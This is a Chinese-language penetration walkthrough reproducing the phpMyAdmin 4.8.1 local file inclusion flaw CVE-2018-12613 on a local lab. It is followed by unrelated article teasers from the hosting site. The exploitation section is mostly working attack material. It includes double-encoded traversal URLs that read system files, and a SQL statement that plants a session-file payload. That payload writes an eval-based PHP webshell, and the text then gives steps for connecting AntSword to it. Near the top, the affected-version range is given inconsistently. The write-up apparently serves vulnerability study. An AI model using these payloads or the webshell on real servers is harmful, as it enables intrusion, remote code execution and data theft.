phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(windows CVE-2018-12613)

目录

一、CVE-2018-12613漏洞

1、漏洞简介

2、漏洞原理

(1)漏洞触发点与正常逻辑

(2)过滤逻辑缺陷与绕过方式

二、渗透准备

1、访问phpmyadmin靶场

2、登录phpmyadmin

3、获取session文件位置

三、渗透准备

1、读取敏感信息

2、上传木马

(1)访问server_sql.php页面

(2)执行phpinfo命令

(3)session文件包含执行脚本

(4)浏览器访问木马

(5)连接蚁剑


一、CVE-2018-12613漏洞

1、漏洞简介

CVE-2018-12613是phpMyAdmin 4.8.0-4.8.21中的高危本地文件包含漏洞。攻击者通过双重URL编码(如%253f)绕过白名单检查,利用index.php的target参数实现任意文件包含。可读取敏感文件或结合Session注入执行PHP代码,需认证后利用。

  • CVE编号:CVE-2018-12613

  • 漏洞类型本地文件包含(LFI)

  • 影响版本:phpMyAdmin 4.8.0 - 4.8.1

  • 漏洞等级高危

  • 利用条件:需要攻击者能够登录phpMyAdmin(已认证)

  • 核心问题: 对传入 index.php 的 target 参数验证不足,导致攻击者能够包含并执行服务器上的任意文件(包括远程文件),从而实现代码执行。

2、漏洞原理

CVE-2018-12613 核心原理在于对target参数的过滤逻辑存在缺陷,攻击者可通过构造特殊请求绕过限制,实现任意文件包含。

(1)漏洞触发点与正常逻辑

在 phpMyAdmin 的index.php中,target参数用于指定跳转或加载的页面,代码通过include函数加载该参数对应的文件,核心逻辑如下:

// index.php 中的关键代码
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target'])) {$target = $_REQUEST['target'];// 检查 target 是否在白名单内if (! PMA_isValid($_REQUEST['target'])) {$target = $cfg['DefaultTabDatabase'];}include $target;
}

正常情况下,PMA_isValid()函数会校验target值是否在允许的白名单中(如db_datadict.phptable_sql.php等合法页面),若不在白名单则使用默认值,防止恶意文件包含。

(2)过滤逻辑缺陷与绕过方式

PMA_isValid()函数的过滤逻辑存在漏洞:当target参数以index.php?开头时,函数会误判为 “合法值”,直接放行。具体来说,其内部判断逻辑类似:

// 简化的 PMA_isValid() 逻辑
function PMA_isValid($target) {// 白名单校验if (in_array($target, $whitelist)) {return true;}// 漏洞点:若 target 以 "index.php?" 开头,直接判定为合法if (strpos($target, 'index.php?') === 0) {return true;}return false;
}

攻击者发现可以传入经过编码的URL来绕过白名单检查:

index.php?target=db_sql.php%253f/../../../../etc/passwd

白名单验证函数 Core::checkPageValidity() 存在逻辑缺陷。攻击者可以通过二次URL编码的方式绕过检查:

  • 构造Payload:将 ? 字符进行双重编码。? → 第一次编码为 %3f → 第二次编码为 %253f

  • 发送请求

    http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../etc/passwd

  • 绕过过程

    • 第一次解码(PHP自动完成):%253f 被解码为 %3f,参数变为 db_sql.php%3f/../../../../etc/passwd

    • 白名单检查:在某些版本的验证逻辑中,程序可能会对参数进行二次解码或错误地处理 %3f,最终提取出 db_sql.php 进行校验。由于 db_sql.php 在白名单内,检查通过。

    • 文件包含include 语句最终尝试加载 db_sql.php?/../../../../etc/passwd。在文件系统层面,? 被当作普通字符,因此实际路径经由路径遍历(../../../../)后被解析为 /etc/passwd,导致敏感文件被读取。

二、渗透准备

1、访问phpmyadmin靶场

本文的服务使用phpstudy启动,其中PHP版本为5.5.9。从官网下载phpmyadmin 4.8.1版本的源码,选择将phpmyadmin4.8.1版本的源码放到网站的根目录中,具体如下所示。

C:\phpstudy_pro\WWW\phpMyAdmin-4.8.1

当前网站的根目录为C:\phpstudy_pro\WWW\,故而访问phpmyadmin的URL地址如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/index.php

2、登录phpmyadmin

输入数据库的用户名和密码登录,如下所示phpmyadmin为漏洞版本4.8.1。

如果忘记了数据库密码,以phpstudy为例其数据库的用户名和密码可以通过phpstudy-数据库,将鼠标放到密码处即可显示密码的明文,如下所示。

3、获取session文件位置

在当前页面查看session值,鼠标右键-元素-网络,如下所示。

点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。

点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。

找到phpmyadmin对应的cookie值,将其复制下来9hgc7cmqqolddq8pajfbqkak13iasksq。

对应的session名应该为sess_9hgc7cmqqolddq8pajfbqkak13iasksq,其中session的文件位置为C:\phpstudy_pro\Extensions\tmp\tmp\sess_9hgc7cmqqolddq8pajfbqkak13iasksq,如下所示。

注意:session文件的位置根据php.ini中的配置,

三、渗透实战

1、读取敏感信息

构造请求利用CVE-2018-12613漏洞实施攻击,访问windows系统中的hosts敏感文件,如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/?target=db_sql.php%253f/../../../../Windows/System32/drivers/etc/hosts
或
http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../Windows/System32/drivers/etc/hosts
  • db_sql.php 的位置: C:\phpstudy_pro\WWW\phpmyadmin\db_sql.php
  • hosts 文件的位置: C:\Windows\System32\drivers\etc\hosts
  • 最终相对路径为:../../../../Windows/System32/drivers/etc/hosts

通过将问号双重编码为%253f绕过phpMyAdmin白名单检查,使系统误将db_sql.php识别为合法目标。实际包含时问号被当作普通字符,结合路径遍历序列跳转目录,最终成功读取Windows系统hosts文件内容,实现敏感信息泄露。

  • db_sql.php 这是一个合法的、在白名单内的phpMyAdmin脚本文件名。攻击者用它来通过初始的白名单检查。
  • %253f 这是双重编码的关键。第一次解码后,%25会变成%,所以%253f会变成 %3f。最终,当PHP进行包含操作时,%3f会被解码成问号 ?? URL中通常表示查询字符串的开始。但在文件路径中,它只是一个非法字符。
  • /../../../../:路径遍历(Path Traversal)序列,目的是回退到磁盘的根目录(C:\)。
  • Windows/System32/drivers/etc/hosts 这是从磁盘根目录开始的目标文件路径,即Windows系统的hosts文件。

如下所示渗透成功,获取到的敏感信息为# 127.0.0.1 localhost 127.0.0.1 activate.navicat.com 199.232.68.133 raw.githubusercontent.com。

2、上传木马

通过包含session临时文件来实现命令执行,具体思路如下所示。

(1)访问server_sql.php页面

首先在登录表单或其他能写入Session的地方注入PHP代码,这里选择访问server_sql.php页面,具体效果如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/server_sql.php 

(2)执行phpinfo命令

我们先开始执行一个SELECT '生成一句话木马' 命令,具体内容如下所示。

select "<?php file_put_contents('ljn.php','<?php @eval($_POST[ljn]);?>')?>"

这步会将代码写入Session文件,文件名格式为:sess_[PHPSESSID],执行后页面效果如下所示。

(3)session文件包含执行脚本

在将木马脚本写入到session文件中后,计划通过查看session值来访问临时文件/sess_9hgc7cmqqolddq8pajfbqkak13iasksq实现渗透,其中session的文件位置如下所示。

C:\phpstudy_pro\Extensions\tmp\tmp\sess_9hgc7cmqqolddq8pajfbqkak13iasksq

db_sql.php文件位置C:\phpstudy_pro\WWW\phpmyadmin\db_sql.php,故其相对路径如下所示。

../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq

构造文件包含访问session文件的URL地址,如下所示。

http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq
或
http://127.0.0.1/phpMyAdmin-4.8.1/?target=db_sql.php%253f/../../../Extensions/tmp/tmp/sess_9hgc7cmqqolddq8pajfbqkak13iasksq

执行后效果如下所示,已经包含成功。本部分的原理实际上是通过Session文件作为"木马",利用文件包含漏洞来执行其中的PHP代码,预期是在当前目录下生成子木马ljn.php。

该URL的执行效果是在当前目录下生成木马,故而ljn.php的URL路径如下所示。

​http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php​

(4)浏览器访问木马

攻击者使用子木马马脚本(ljn.php)的方法是通过发送 POST 请求,并在请求体中包含一个名为 ljn 的参数,如下所示。

木马的链接地址:http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php 
密码为ljn
木马内容:<?php @eval($_POST[ljn]);?>
  • <?php ... ?>:PHP 标签,表示其中的代码是 PHP 代码。

  • $_POST['ljn']:获取通过 POST 方法传递的、名为 ljn 的参数的值。这是攻击者向服务器发送指令的通道。

  • eval(...):一个危险的 PHP 函数,它将其字符串参数当作 PHP 代码来执行。这是整个木马的核心。

  • @:错误控制运算符。如果执行过程中出现错误,@ 会抑制错误信息的显示,使木马更加隐蔽

当攻击者子木马脚本(ljn.php)发送 POST 请求,请求体中包含一个名为 ljn 的参数,在 HackBar 中勾选 Post data 选项,并将POST参数设置为phpinfo();函数时,效果如下所示,渗透成功。

(5)连接蚁剑

  • 打开蚁剑:启动蚁剑应用程序。

  • 添加shell数据

    • 右键点击左侧空白区域 -> 添加

    • 在弹出的窗口中填写以下信息:

      • URL地址http://127.0.0.1/phpMyAdmin-4.8.1/ljn.php

      • 连接密码ljn (即 $_POST['ljn'] 中的参数名)

      • 编码器:通常选择 default(默认)或 base64(用于绕过一些安全检测)。

    • 点击 添加 保存配置。


在左侧列表中找到刚刚添加的 shell,右键选择文件,如下所示显示网站的目录结构。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/95813.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/95813.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Jakarta EE(基于 JPA)在 IntelliJ IDEA 中开发简单留言板应用的实验指导

Jakarta EE&#xff08;基于 JPA&#xff09;在 IntelliJ IDEA 中开发简单留言板应用的实验指导摘要&#xff1a;Jakarta EE 并不仅限于使用 H2 数据库&#xff0c;它支持任何符合 JDBC 或 JPA 标准的数据库&#xff0c;例如 MySQL、PostgreSQL、Oracle 等。H2 通常用于开发测试…

Gitea:轻量级的自托管Git服务

欢迎光临我的个人博客查看最新文章&#xff1a;rivers blog 在当今的软件开发世界中&#xff0c;代码托管平台是必不可少的工具。而对于寻求自主控制和数据隐私的团队与开发者来说&#xff0c;Gitea提供了一个完美的解决方案。 1、 Gitea简介 Gitea&#xff08;发音为ɡɪˈti…

深度学习-----简单入门卷积神经网络CNN的全流程

&#xff08;一&#xff09;卷积神经网络&#xff08;CNN&#xff09;的核心思想传统全连接网络的缺陷图像平铺展开后&#xff0c;旋转或位置变化会导致输入差异大&#xff0c;难以识别举例&#xff1a;手写数字“8”在不同位置或旋转后的识别困难&#xff08;图像在计算机中是…

Scikit-learn Python机器学习 - 特征降维 压缩数据 - 特征选择 - 单变量特征选择 SelectKBest - 选择Top K个特征

锋哥原创的Scikit-learn Python机器学习视频教程&#xff1a; 2026版 Scikit-learn Python机器学习 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 课程介绍 本课程主要讲解基于Scikit-learn的Python机器学习知识&#xff0c;包括机器学习概述&#xff0c;特征工程(数据…

Datawhale AI夏令营复盘[特殊字符]:我如何用一个Prompt,在Coze Space上“画”出一个商业级网页?

文章摘要 本文详细记录了我在Datawhale AI夏令营期间&#xff0c;如何另辟蹊径&#xff0c;使用Coze&#xff08;扣子空间&#xff09;和精心设计的Prompt&#xff0c;从零开始构建一个专业的“智能SEO Agent”产品网页的完整过程。文章将完整展示我编写的“万字”级Prompt&…

SVN和Git两种版本管理系统对比

一、SVN&#xff08;Subversion&#xff09;简介SVN是一种集中式版本控制系统。它有一个中心仓库&#xff08;repository&#xff09;&#xff0c;所有的代码变更都记录在这个中心仓库中。每个开发者从中心仓库检出&#xff08;checkout&#xff09;代码到本地工作副本&#xf…

【机器学习】综合实训(一)

项目一 鸢尾花分类该项目需要下载scikit-learn库&#xff0c;下载指令如下&#xff1a;pip install scikit-learn快速入门示例&#xff1a;鸢尾花分类# 导入必要模块 from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split from sklea…

vulhub通关笔记1—docker unauthorized-rce

1.docker unauthorized-rce 基本情况 docker swarm是一个将docker集群变成单一虚拟的docker host工具&#xff0c;使用标准的Docker API&#xff0c;能够方便docker集群的管理和扩展&#xff0c;由docker官方提供&#xff1a; 需要在每台机器上安装docker&#xff0c;并且运行…

zotero扩容

最近出差&#xff0c;想要把本地的主机上的文件同步到笔记本&#xff0c;发现zotero不够用&#xff0c;然后寻找了一些zotero扩容的方法&#xff0c;这里记录一下&#xff0c;方便以后查阅。 zotero扩容创建账户登录账户进一步扩容设置Apps Connection设置zoterozotero自带同步…

Kafka基础理论

Kafka概述 kafka是一个分布式的基于发布/订阅模式的消息队列&#xff0c;主要用于大数据实时处理领域。kafka采取了发布/订阅模式&#xff0c;消息的发布者不会将消息直接发送给特定的订阅者&#xff0c;而是将发布的消息分为不同的类别&#xff0c;订阅者只接受感兴趣的消息。…

苍穹外卖项目实战(day-5完整版)-记录实战教程及问题的解决方法

Redis基本操作及下载安装包&#xff08;Redis及可视化工具&#xff09;&#xff0c;都在我的上一篇文章&#xff1a;Redis基本知识及简单操作&#xff0c;这里不再赘述 店铺营业状态修改功能 &#xff08;1&#xff09;需求分析与设计 &#xff08;2&#xff09;SpringDataRe…

第R8周:RNN实现阿尔兹海默病诊断

数据集包含2149名患者的广泛健康信息&#xff0c;每名缓则的ID范围从4751到6900不等&#xff0c;该数据集包含人口统计详细信息&#xff0c;生活方式因素、病史、临床测量、认知和功能评估、症状以及阿尔兹海默症的诊断。 一、准备工作 1、硬件准备 import numpy as np import …

MySQL复制技术的发展历程

在互联网应用不断发展的二十多年里&#xff0c;MySQL 一直是最广泛使用的开源关系型数据库之一。它凭借开源、轻量、灵活的优势&#xff0c;支撑了无数网站、移动应用和企业系统。支撑 MySQL 长期发展的关键之一&#xff0c;就是 复制&#xff08;Replication&#xff09;技术。…

C++从字符串中移除前导零

该程序用于去除字符串开头的零字符。当输入"0000123456"时&#xff0c;程序会输出"123456"。核心函数removeZero()通过while循环找到第一个非零字符的位置&#xff0c;然后使用erase()方法删除前面的所有零。主函数读取输入字符串并调用该函数处理。程序简…

【面试题】C++系列(一)

本专栏文章持续更新&#xff0c;新增内容使用蓝色表示。C面向对象的三大特性&#xff1a;封装&#xff0c;继承&#xff0c;多态&#xff08;1&#xff09;封装是将数据和函数组合到一个类里。主要目的是隐藏内部的实现细节&#xff0c;仅暴露必要的接口给外部。通过封装&#…

当没办法实现从win复制东西到Linux虚拟机时的解决办法

① 先确认是否已安装bash复制sudo apt list --installed | grep open-vm-tools如果 没有任何回显 → 没装&#xff0c;跳到 ③如果看到 open-vm-tools 已安装 → 继续 ②② 启动正确的服务&#xff08;单词别打错&#xff09;bash复制systemctl status vmtoolsd # 查看…

用Markdown写自动化用例:Gauge实战全攻略!

你作为一名自动化测试工程师&#xff0c;正在为一个复杂的Web应用编写测试脚本&#xff1a;传统工具要求写大量代码&#xff0c;维护起来像解谜游戏&#xff0c;团队非技术成员完全插不上手。这时&#xff0c;Gauge这个“自动化神器”如魔法般出现——它允许用Markdown写可读的…

Unity开发保姆级教程:C#脚本+物理系统+UI交互,3大模块带你通关游戏开发

文章目录基础概念Unity开发环境搭建版本选择&#xff1a;为什么2021 LTS是最佳起点&#xff1f;三步安装&#xff1a;从下载到项目创建界面认知&#xff1a;5分钟掌握核心操作区配置优化&#xff1a;让开发更顺畅验证环境&#xff1a;创建你的第一个CubeC#基础语法与Unity脚本结…

Depth Anything V2论文速读

这篇论文主要讲了两方面1.为了解决模型在正常标注的现实图像上训练的缺陷问题、提出了新的模型训练数据和训练方法真实标记图像存在缺点&#xff1a;标签噪声&#xff08;深度传感器可能存在空洞、玻璃等物体反射导致精度不准确&#xff09;、标签细节粗糙&#xff08;深度图边…

数据库原理及应用_数据库管理和保护_第5章数据库的安全性_理论部分

前言 "<数据库原理及应用>(MySQL版)".以下称为"本书"中第5章前6节内容 引入 数据库的安全性是非常重要的,表现在两个方面:一数据的访问权限,二数据的物理安全.本书在这一章前6节基本上都是理论性的内容,选择其中重要部分进行解读. 5.1数据库安全性…